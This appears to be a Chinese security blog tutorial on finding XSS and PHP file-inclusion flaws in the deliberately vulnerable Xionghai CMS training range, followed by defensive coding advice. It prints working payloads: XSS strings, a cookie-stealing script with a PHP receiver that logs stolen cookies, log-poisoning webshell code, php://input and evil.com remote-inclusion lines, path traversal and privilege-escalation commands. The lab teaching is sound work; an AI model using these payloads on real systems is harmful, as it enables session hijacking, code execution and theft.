news 2026/7/1 19:09:16

从SQL注入到XSS与文件包含:熊海CMS靶场实战与Web安全思维拓展

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从SQL注入到XSS与文件包含:熊海CMS靶场实战与Web安全思维拓展

1. 项目概述:从SQL注入到更广阔的漏洞视野

在网络安全学习和渗透测试的入门阶段,SQL注入往往是大家接触的第一个“重量级”漏洞。它逻辑直观,利用方式多样,从联合查询到报错注入、盲注,每一步都充满了挑战与成就感。因此,很多新手朋友,包括几年前的我自己,都会一头扎进各种靶场的SQL注入关卡里,反复练习,乐此不疲。这当然没错,SQL注入是Web安全的基石之一,必须掌握。

但问题也随之而来。当我们花费大量时间攻克了SQLi-Labs、Pikachu、DVWA的注入关卡后,很容易产生一种错觉:渗透测试约等于找SQL注入。拿着SQLMap扫一圈,没注入点就觉得这个站“很安全”,或者无从下手。这种思维定式会严重限制我们的视野和实战能力。真实的网络环境是复杂且多维的,攻击面远不止数据库这一层。

这就是为什么我想和大家深入聊聊“熊海CMS”这个靶场。它不像SQLi-Labs那样专精于一种漏洞,而是一个典型的、存在多处安全缺陷的简易内容管理系统。除了显而易见的SQL注入点,它更是一个学习XSS(跨站脚本攻击)和文件包含漏洞的绝佳沙箱。通过这个靶场,我们可以进行一次思维转换的训练:从一个只会盯着输入框测' and 1=1--的“注入选手”,转变为一个能系统性审视整个应用攻击面的“安全工程师”。本文将带你绕过那些显眼的SQL注入,去挖掘靶场中隐藏的XSS与文件包含漏洞,并理解它们背后的成因、利用方式以及关联性。

2. 靶场环境搭建与初步侦查

2.1 熊海CMS靶场部署要点

熊海CMS v1.0是一个年代较久但教学意义十足的PHP开源项目。它的代码结构简单,安全防护几乎为零,非常适合用于漏洞原理的初学者教学。部署过程本身也是学习的一部分。

我通常会在本地使用PHPStudy或Docker快速搭建。以PHPStudy为例,将源码解压到WWW目录下,访问安装页面(通常是/install/index.php),按照提示完成数据库配置即可。这里有一个关键细节:安装完成后,务必手动删除整个install目录。很多靶场漏洞复现失败,就是因为安装目录残留,导致路径计算错误或安装锁文件被绕过。

部署成功后,花10分钟浏览一下整个网站的前后台功能。前台看看文章列表、搜索、留言板;后台(默认地址/admin,账号密码通常为admin/admin)尝试添加文章、管理用户。这个“熟悉业务”的过程至关重要,因为漏洞往往藏在功能逻辑里,而不是凭空出现的。

2.2 主动信息收集与攻击面分析

在开始“黑盒”测试前,我们可以先进行简单的代码审计,这能极大提高测试效率。用IDE打开源码,重点关注几个地方:

  1. 用户输入接收点:全局搜索$_GET$_POST$_REQUEST$_COOKIE。这是所有Web漏洞的源头。
  2. 文件包含函数:搜索includerequireinclude_oncerequire_once,特别是那些参数中包含变量的,如include($_GET['page'] . '.php')
  3. 输出函数:搜索echoprintprintf, 尤其是在HTML页面中直接输出用户输入的地方,这是XSS的温床。
  4. 数据库操作:搜索mysql_querymysqli_query,查看SQL语句的拼接方式。

通过快速审计,你可能会发现一些“明牌”漏洞,比如搜索功能可能存在SQL注入。但请先按住直接测试的冲动。我们的目标是挖掘“隐藏”的漏洞,所以先记下这些明显的点,转而关注那些更隐蔽、需要条件触发或组合利用的地方。

同时,用浏览器开发者工具(F12)查看网页的网络请求和源代码。留意:

  • URL中是否有idpagefile等参数。
  • 表单提交的数据流向。
  • 是否有任何JavaScript动态加载了外部资源。
  • Cookie的设置和使用方式。

这个过程的目标是绘制一张潜在攻击面地图,而不仅仅是找到一个注入点。

3. 隐藏漏洞挖掘:XSS攻击链的构建

XSS漏洞的本质是“数据被当成了代码执行”。在熊海CMS中,除了留言板这种明显的XSS点,我们需要寻找那些输出位置隐蔽、过滤不严或根本未过滤的地方。

3.1 反射型XSS的深度挖掘

反射型XSS通常出现在搜索、错误信息反馈等位置,数据从请求中来到响应中,一次性执行。在熊海CMS中,我们可以尝试以下步骤:

测试案例:用户昵称修改处的XSS

  1. 定位功能点:进入后台或个人中心(如果靶场有),找到修改昵称或个人资料的页面。
  2. 测试输入:在昵称字段,不要只输入<script>alert(1)</script>。尝试更隐蔽的Payload,利用HTML事件属性或伪协议。
    • 事件处理器" onmouseover="alert(document.cookie)。当鼠标滑过你的用户名时触发。
    • 图片标签<img src=1 onerror=alert(1)>。当图片加载失败时触发onerror事件。
    • SVG矢量图<svg/onload=alert(1)>。SVG标签加载时触发onload事件,有时能绕过简单的标签黑名单。
  3. 观察输出:提交后,查看页面源代码(Ctrl+U),搜索你输入的Payload。关键看它被输出在何处:是在标签属性内(如<input value="你的输入">),还是在纯文本区域(如<div>你的输入</div>)?这决定了最终的利用Payload构造。
  4. 绕过尝试:如果发现<script>被过滤,尝试大小写混淆<ScRiPt>,或者使用未过滤的HTML标签配合事件。如果引号被转义,考虑不使用引号的写法(在某些属性中可行)。

实操心得:测试反射型XSS时,浏览器的“查看源代码”比“检查元素”更可靠。因为“检查元素”显示的是实时DOM,可能包含JavaScript修改后的内容,而“查看源代码”是服务器返回的原始响应,能准确看到你的输入是否被原样输出、是否被转义。

3.2 存储型XSS的持久化威胁

存储型XSS的危害更大,因为它将恶意脚本存入数据库,影响所有访问特定页面的用户。在熊海CMS中,文章评论、网站公告、友情链接管理等功能都可能存在。

测试案例:文章评论/留言板XSS

  1. 基础测试:在留言内容中输入<script>alert('XSS')</script>并提交。
  2. 深入利用:如果基础Payload被过滤,分析过滤规则。是过滤了<script>标签,还是过滤了alert函数?可以尝试:
    • 拆分拼接<scr+ipt>alert(1)</script>。如果后端是简单的字符串替换,可能无法识别拆分的标签。
    • 利用JavaScript编码<img src=x onerror=javascript:alert(1)>。或者将alert函数进行HTML实体编码,看浏览器是否会自动解码执行(取决于输出上下文)。
    • 使用其他源<script src=http://你的恶意服务器/evil.js></script>。这样可以将复杂的攻击载荷放在外部,绕过长度或关键字限制。
  3. 危害验证:以其他用户(或退出登录后)身份访问留言板页面,看弹窗是否触发。这证明了漏洞的存储性和跨用户影响。

3.3 DOM型XSS的客户端攻击

DOM型XSS比较特殊,漏洞根源在前端JavaScript代码中,不经过服务器响应。挖掘这类漏洞需要仔细分析页面的JS代码。

挖掘方法

  1. 在靶场页面中,打开开发者工具的“Sources”或“调试器”面板,查看加载的JS文件。
  2. 搜索诸如document.writeinnerHTMLouterHTMLevalsetTimeoutsetInterval等危险的“Sink”(数据最终被执行的函数)。
  3. 向上回溯,看这些Sink的数据来源是否是location.hashlocation.searchdocument.referrerwindow.name等用户可控的“Source”。
  4. 在熊海CMS中,可以尝试在URL后添加#(hash)片段,并观察页面JS是否有处理hash的逻辑。例如,访问http://靶场地址/page.html#<img src=1 onerror=alert(1)>,然后查看是否有脚本将location.hash的内容写入了页面。

注意事项:DOM型XSS的利用Payload构造需要非常精确,必须符合前端JS的处理逻辑。有时需要仔细阅读并理解那段有缺陷的JS代码,才能构造出成功的攻击字符串。这是一个很好的代码审计练习。

4. 文件包含漏洞:从本地包含到远程利用

文件包含漏洞(LFI/RFI)允许攻击者包含并执行服务器上的任意文件(本地文件包含,LFI)甚至远程服务器上的文件(远程文件包含,RFI)。在PHP中,主要由includerequire等函数引发。

4.1 漏洞点的发现与确认

在熊海CMS中,常见的包含点可能在模板加载、页面切换、语言包调用等功能上。

侦查技巧

  • 参数模糊测试:对URL中所有看似是文件或模板的参数进行测试,如?page=about?file=header?module=news
  • 尝试路径遍历:在参数值后添加路径遍历符,测试是否能跳出预定目录。例如:
    • ?page=../../../../etc/passwd(Unix/Linux系统)
    • ?page=..\..\..\..\windows\win.ini(Windows系统)
  • 观察错误信息:如果网站开启了错误显示(display_errors=On),包含一个不存在的文件(如?page=non_exist)可能会暴露出包含函数的完整路径,这本身就是信息泄露,也为后续利用提供了便利。

漏洞确认:如果通过?page=../../../../etc/passwd成功读取到了系统的用户列表,那么一个高危的本地文件包含漏洞就得到了确认。注意,现代PHP版本默认配置可能阻止包含/etc/passwd,但可以尝试包含Web日志、Session文件、PHP环境文件(/proc/self/environ)等。

4.2 本地文件包含(LFI)的进阶利用

单纯的读取文件已经很有危害,但LFI的真正威力在于它能与其它漏洞结合,实现代码执行。

利用技巧1:包含日志文件实现代码执行这是LFI最经典的利用方式之一。

  1. 原理:Web服务器(如Apache)的访问日志会记录每一次请求,包括User-Agent、Referer等头部信息。如果我们能控制这些信息,并在其中插入PHP代码,再通过LFI漏洞去包含这个日志文件,那么插入的代码就会被服务器当作PHP执行。
  2. 操作
    • 首先,通过LFI漏洞找到Web日志的绝对路径,常见的有/var/log/apache2/access.log/var/log/httpd/access_log等。
    • 然后,使用Burp Suite或curl,发送一个请求,将User-Agent设置为一段PHP代码,例如:<?php system($_GET['cmd']); ?>
    • 最后,利用LFI漏洞包含这个日志文件:?page=/var/log/apache2/access.log&cmd=id。如果成功,将会执行id命令并返回结果。

利用技巧2:包含Session文件如果应用将用户输入存储到了Session中(例如,将用户名存入$_SESSION['username']),而Session文件路径可知(通常为/tmp/sess_[PHPSESSID]),那么就可以先污染Session,再包含Session文件执行代码。

利用技巧3:包含PHP伪协议PHP提供了多种伪协议,能极大扩展LFI的能力。最关键的是php://filterphp://input

  • php://filter:用于读取文件源码,特别是当包含非PHP文件(如.txt.inc)时,它们会被直接输出。我们可以用convert.base64-encode过滤器来读取PHP文件的源码,避免其被执行。Payload示例:?page=php://filter/convert.base64-encode/resource=index.php。服务器会返回index.php经过Base64编码后的内容,解码即可获得源代码。
  • php://input:允许读取POST请求的原始数据作为文件内容。需要开启allow_url_include配置。利用时,用POST方法发送请求,将请求体(Body)设置为<?php phpinfo(); ?>,然后访问?page=php://input,即可执行代码。

4.3 远程文件包含(RFI)的条件与利用

RFI的利用条件更为苛刻,需要PHP配置中allow_url_fopenallow_url_include均为On。在实战和现代靶场中较少见,但原理必须了解。

利用方式: 如果存在?page=http://evil.com/shell.txt这样的参数,并且服务器配置允许,那么PHP会去请求http://evil.com/shell.txt,并将其内容包含进来执行。shell.txt的内容就是我们的WebShell代码。

在熊海CMS中的尝试: 即使靶场环境默认关闭了RFI,我们也可以尝试利用filehttpftp等协议去测试,观察错误信息。有时错误信息会泄露allow_url_include的配置状态,这本身也是有价值的信息。

5. 漏洞组合利用与权限提升实战

单一的漏洞可能危害有限,但将多个漏洞串联起来,就能形成强大的攻击链。这才是渗透测试的精髓所在。

5.1 从XSS到敏感信息窃取

假设我们在熊海CMS的留言板找到了一个存储型XSS漏洞。最初的弹窗alert(1)只是证明漏洞存在。真正的攻击远不止于此。

攻击链构建

  1. 构造恶意Payload:不再使用alert,而是编写一个窃取Cookie的JavaScript Payload。
    <script>var img = new Image(); img.src = 'http://你的接收服务器/steal.php?cookie=' + encodeURIComponent(document.cookie);</script>
    这段代码会创建一个图片请求(img标签的src请求),将当前用户的Cookie作为参数,发送到攻击者控制的服务器。
  2. 部署接收端:在你的VPS上创建一个简单的steal.php文件,用于接收并记录Cookie。
    <?php $cookie = $_GET['cookie']; $ip = $_SERVER['REMOTE_ADDR']; file_put_contents('cookies.txt', date('Y-m-d H:i:s') . " - IP: $ip - Cookie: $cookie\n", FILE_APPEND); ?>
  3. 诱导触发:将包含恶意Payload的留言提交到靶场。当管理员(或其他用户)查看留言板时,他们的Cookie就会被悄无声息地发送到你的服务器。
  4. 会话劫持:获取到管理员的Cookie(特别是Session ID)后,你可以使用浏览器插件(如EditThisCookie)或直接修改请求头,将Cookie替换成管理员的,从而无需密码即可登录后台。

实操心得:在实际测试中,由于HttpOnly属性的普及,直接窃取Cookie可能失效。此时可以转向窃取页面内容(如document.body.innerHTML)、发起CSRF请求以管理员身份执行操作(如添加后台用户),或者进行键盘记录。思路要从“拿到Cookie”转变为“模拟用户行为”。

5.2 利用文件包含写入WebShell

如果我们发现了一个文件包含漏洞,并且服务器允许包含可写目录下的文件(如/tmp),或者能结合文件上传,那么就能轻松获得WebShell。

利用步骤

  1. 确认可写目录:通过LFI读取/etc/passwd或利用PHP的php://filter协议读取一些配置文件,尝试找到Web根目录或临时目录的路径。
  2. 写入Shell代码:如果存在文件上传功能,但限制了后缀,可以尝试上传一个图片马(将PHP代码嵌入图片),然后通过LFI漏洞包含这个图片文件。如果不存在上传,可以尝试利用php://input(需allow_url_include=On)或包含日志文件写入代码。
  3. 一个经典组合技文件包含 + 文件上传。先上传一个内容为<?php phpinfo();?>的文本文件,命名为test.txt(绕过后缀检查)。然后通过文件包含漏洞,以php://filter的方式包含它:?page=php://filter/convert.base64-decode/resource=upload/test.txtconvert.base64-decode过滤器会尝试解码文件内容,如果我们的PHP代码经过Base64编码后放入,就能被解码执行。这需要精确的Payload构造。

5.3 权限提升与横向移动思路

在熊海CMS这样的靶场中,获得WebShell(通常以www-data用户运行)往往不是终点。我们可以探索如何提权。

信息收集

  • 通过WebShell执行命令,收集系统信息:uname -acat /etc/passwdsudo -l(查看当前用户能以sudo方式运行哪些命令)。
  • 查找具有SUID权限的可执行文件:find / -perm -u=s -type f 2>/dev/null。常见的如findvimbashnmap(旧版本)等,如果配置不当,可以利用它们进行提权。
  • 查看计划任务:crontab -lls -la /etc/cron*。看是否有任何任务以root身份运行,并且其脚本文件我们可写。

利用内核漏洞:使用uname -a查看内核版本,搜索该版本是否存在公开的本地提权(LPE)漏洞。可以使用自动化脚本如LinEnumlinux-exploit-suggester来辅助发现。

注意事项:在靶场环境中进行提权练习是合法的学习行为,但在未经授权的真实环境中进行是违法行为。靶场练习的目的是理解攻击链和防御方法。

6. 防御策略与安全开发建议

挖掘漏洞是为了更好地修复它。针对我们在熊海CMS中发现的这几类漏洞,以下是根本性的防御建议。

6.1 XSS漏洞的根治方案

  1. 输出编码:这是防御XSS最核心、最有效的手段。根据数据输出的上下文,采用不同的编码方式。
    • HTML正文:使用HTML实体编码。将<转为&lt;>转为&gt;&转为&amp;"转为&quot;
    • HTML属性:除了HTML实体编码,属性值必须用引号括起来。
    • JavaScript:将数据放入JavaScript代码时,需要进行JavaScript Unicode转义。
    • URL:在URL参数中,进行URL编码。
    • 现代框架:使用React, Vue, Angular等现代前端框架,它们默认提供了良好的数据绑定和转义机制,能有效防止XSS。
  2. 内容安全策略(CSP):在HTTP响应头中设置CSP,可以告诉浏览器只允许加载指定来源的脚本、样式、图片等资源。即使网站存在XSS漏洞,攻击者也无法加载外部的恶意脚本,大大增加了利用难度。例如:Content-Security-Policy: default-src 'self';
  3. 输入验证:在特定场景下,对输入进行严格的白名单验证。例如,昵称只允许字母、数字和特定符号,长度限制等。但注意,输入验证不能替代输出编码,它只是辅助手段。
  4. 设置HttpOnly Cookie:为Session Cookie设置HttpOnly属性,可以阻止JavaScript通过document.cookie访问,有效缓解Cookie窃取型XSS攻击。

6.2 文件包含漏洞的防御之道

  1. 避免动态包含:从根本上杜绝漏洞,就是不要使用用户输入直接作为包含文件的路径。如果必须动态加载,应使用白名单机制。
  2. 白名单控制:将要包含的文件名预先定义在一个数组中,用户只能选择数组中的键值。
    $allowed_pages = ['home' => 'home.php', 'about' => 'about.php', 'news' => 'news.php']; $page = $_GET['page']; if (array_key_exists($page, $allowed_pages)) { include($allowed_pages[$page]); } else { include('404.php'); }
  3. 路径固定:如果必须包含动态文件,应将用户输入严格限制为文件名,并拼接上固定的、安全的目录路径,同时禁止路径遍历符。
    $file = basename($_GET['file']); // basename()函数会去掉路径部分,只保留文件名 $path = '/safe_directory/' . $file . '.php'; if (file_exists($path)) { include($path); }
  4. 关闭危险配置:确保php.iniallow_url_includeallow_url_fopen设置为Off,彻底杜绝RFI的可能性。

6.3 构建纵深防御体系

单一防御措施可能被绕过,需要构建多层次的安全防线。

  1. 安全开发生命周期(SDL):将安全考虑嵌入需求、设计、编码、测试、部署的每一个环节。
  2. 定期代码审计与渗透测试:无论是自研还是第三方代码,在上线前和运行中,都应进行专业的安全检查。
  3. 使用安全函数与框架:PHP中,使用htmlspecialchars()进行输出编码,使用PDOmysqli的预处理语句防SQL注入,使用filter_var()进行输入过滤。
  4. 最小权限原则:Web应用程序运行的用户(如www-data)应仅拥有完成其功能所必需的最小权限。数据库连接使用低权限账户。
  5. 安全运维:及时更新系统和应用软件补丁;配置正确的文件权限;关闭错误回显(display_errors=Off);使用WAF(Web应用防火墙)作为最后一道防线。

7. 常见问题排查与工具使用技巧

在漏洞挖掘和复现过程中,你肯定会遇到各种问题。这里记录一些我踩过的坑和解决技巧。

7.1 漏洞复现失败原因分析

问题现象可能原因排查思路与解决方案
XSS Payload不弹窗1. 输入被后端过滤或转义。
2. Payload被前端框架(如Vue/React)处理。
3. 输出位置不对(如JS字符串内)。
4. 浏览器内置XSS防护(如Chrome的XSS Auditor, 现代浏览器的CSP)。
1. 查看页面源代码,确认Payload是否被修改。
2. 尝试更隐蔽的Payload(如事件处理器、SVG)。
3. 在开发者工具控制台查看是否有CSP报错。
4. 尝试在旧版浏览器或禁用XSS防护的模式下测试。
文件包含读取不到/etc/passwd1. PHP配置open_basedir限制。
2. 文件不存在或路径错误。
3. 包含函数使用了后缀拼接(如.php)。
4. 目标系统是Windows。
1. 尝试包含Web目录内的已知文件,如index.php
2. 使用php://filter读取源码确认包含功能是否生效。
3. 尝试使用空字节截断(%00, PHP<5.3.4)或路径长度截断(旧版本)。
4. 尝试Windows路径,如..\..\..\windows\win.ini
php://input利用失败1.allow_url_includeOff
2. 请求方式不是POST。
3. 包含点对输入有额外处理。
1. 尝试包含http://协议测试RFI是否开启。
2. 确保使用Burp Suite或curl发送POST请求,且请求体为PHP代码。
3. 查看PHP配置文件或使用phpinfo()页面确认设置。
SQLMap扫描不出注入点1. 存在Token、CSRF防护。
2. 参数类型非字符串(如数字型注入但未加引号)。
3. WAF拦截。
4. 注入点位于JSON或XML数据中。
1. 使用--csrf-token--csrf-url参数。
2. 手动测试数字型注入:id=2-1看结果是否与id=1相同。
3. 使用--tamper脚本绕过WAF,或降低扫描速度--delay
4. 使用--data指定JSON数据,并设置--headersContent-Type: application/json

7.2 高效工具链配置

工欲善其事,必先利其器。除了Burp Suite、浏览器开发者工具这些必备品,还有一些小技巧能提升效率。

  1. 浏览器插件
    • HackBar:方便快速构造和发送Payload,内置常用编码解码功能。
    • EditThisCookie:管理Cookie,用于会话劫持测试。
    • Wappalyzer:快速识别网站使用的技术栈(框架、CMS、服务器等),有助于缩小漏洞搜索范围。
  2. Burp Suite实战技巧
    • 设置项目级Scope:在Target -> Scope中定义目标范围,能避免干扰,让Proxy历史、Scanner结果更清晰。
    • 活用Repeater和Comparer:Repeater用于手动修改和重放请求;Comparer用于对比两次响应的差异,在盲注、条件竞争漏洞测试中非常有用。
    • 自定义Payload列表:在Intruder中,针对XSS、路径遍历、命令注入等,建立自己的常用Payload字典,比默认字典更精准。
  3. 命令行神器cURL:在无法使用图形化工具或需要自动化时,cURL无可替代。
    • 测试RFI:curl -X POST "http://target.com/?page=php://input" --data "<?php system('id');?>"
    • 发送特定Cookie:curl -b "session=malicious_value" http://target.com/
    • 测试CRLF注入:curl -H "User-Agent: test\r\nInjected-Header: value" http://target.com/

7.3 思维模式的转变:从点到面

最后,也是最重要的一点,是思维模式的升级。不要满足于复现靶场已有的、标注好的漏洞。尝试:

  1. 黑盒测试:在完全不知道源码的情况下,像对待一个真实网站一样去测试熊海CMS。用目录扫描器(如dirsearch)找隐藏路径;用Burp Suite爬取所有功能点;对每一个参数、每一个数据包进行手动测试。
  2. 白盒审计:在知道源码的情况下,像代码评审一样去阅读熊海CMS的每一行代码。尝试理解开发者的意图,找出他逻辑上的错误和安全意识的缺失。这能极大提升你发现“隐藏漏洞”的能力。
  3. 组合想象:看到一个文件上传点,想想能不能和文件包含结合?看到一个反射型XSS,想想它的输出点能否被用于盗取CSRF Token?看到一个Cookie,想想它是否可预测,导致水平越权?

安全是一个攻防对抗、持续演进的过程。熊海CMS这样的靶场,就像一幅静态的地图,上面标出了一些已知的宝藏(漏洞)。而真正的学习,是掌握绘制地图和寻找未知宝藏的能力。当你能够在一个看似简单的系统中,发现开发者从未意识到的问题,并将它们逻辑清晰地串联起来时,你就真正从“漏洞复现者”迈向“安全研究者”了。这个过程没有捷径,唯有多看、多练、多思考。希望这篇指南能成为你探索路上的一块垫脚石。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/1 19:02:39

Postman便携版:3分钟解锁Windows系统零污染API测试环境

Postman便携版&#xff1a;3分钟解锁Windows系统零污染API测试环境 【免费下载链接】postman-portable &#x1f680; Postman portable for Windows 项目地址: https://gitcode.com/gh_mirrors/po/postman-portable 还在为繁琐的软件安装流程烦恼吗&#xff1f;Postman…

作者头像 李华
网站建设 2026/7/1 19:02:25

Three.js 模型视频材质教程

模型视频材质 Video Model ▶ 在线运行案例 案例合集&#xff1a; 三维可视化功能案例&#xff08;threehub.cn&#xff09;开源仓库github地址&#xff1a; https://github.com/z2586300277/three-cesium-examples400个案例代码: 网盘链接 你将学到什么 OrbitControls 相…

作者头像 李华
网站建设 2026/7/1 19:00:57

【AI大模型】代码入门:批量调用API的极简Python脚本

【AI大模型】代码入门:批量调用API的极简Python脚本(零基础可直接运行) 在AI大模型实操落地中,单次问答调用API仅能满足日常测试需求,真正的项目开发、数据处理、文案生成、数据集构建,都离不开批量API调用能力。很多新手只会单条调用大模型接口,面对几十、上百条文本批…

作者头像 李华
网站建设 2026/7/1 19:00:29

工业4-20mA电流环发射器设计与STM32F756ZG应用

1. 工业电流环发射器设计背景与核心需求在工业自动化领域&#xff0c;4-20mA电流环传输技术已经持续服役超过半个世纪。这种看似古老的信号传输方式因其独特的抗干扰能力和可靠性&#xff0c;至今仍是过程控制系统的首选方案。我参与过的多个工业现场项目证明&#xff0c;在存在…

作者头像 李华
网站建设 2026/7/1 18:57:44

2026黑龙江黄金回收白银回收铂金回收旧料回收怎么选?五家高实价铂金白银线下门店测评清单 + 联系方式

哈尔滨的黄金、铂金、白银回收市场门店林立&#xff0c;看似选择众多&#xff0c;实则鱼龙混杂&#xff0c;报价虚高、压价宰客的乱象屡见不鲜。为帮本地市民甄别靠谱变现渠道&#xff0c;小编连日实地走访、多方比对&#xff0c;从资质、报价、服务到口碑层层筛选&#xff0c;…

作者头像 李华